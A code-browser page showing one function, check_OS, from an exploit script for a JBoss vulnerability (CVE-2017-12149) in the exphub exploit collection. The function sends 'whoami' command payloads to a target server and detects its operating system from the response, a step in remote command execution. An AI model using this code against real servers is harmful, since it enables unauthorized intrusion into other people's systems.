MCPcopy
hub / github.com/zhzyker/exphub / check_OS

Function check_OS

jboss/cve-2017-12149_cmd.py:133–143  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

131 return result_content
132
133def check_OS():
134 global os_type
135 payload_linux = build_payload('linux','whoami')
136 payload_win = build_payload('windows','whoami')
137 linux_re = do_post(payload_linux)
138 win_re = do_post(payload_win)
139 if "[L291919]" in linux_re:
140 os_type = 'linux'
141 if "[W291013]" in win_re:
142 os_type = 'windows'
143 return os_type
144
145
146def run_command(command_in):

Callers 1

Calls 2

build_payloadFunction · 0.85
do_postFunction · 0.70

Tested by

no test coverage detected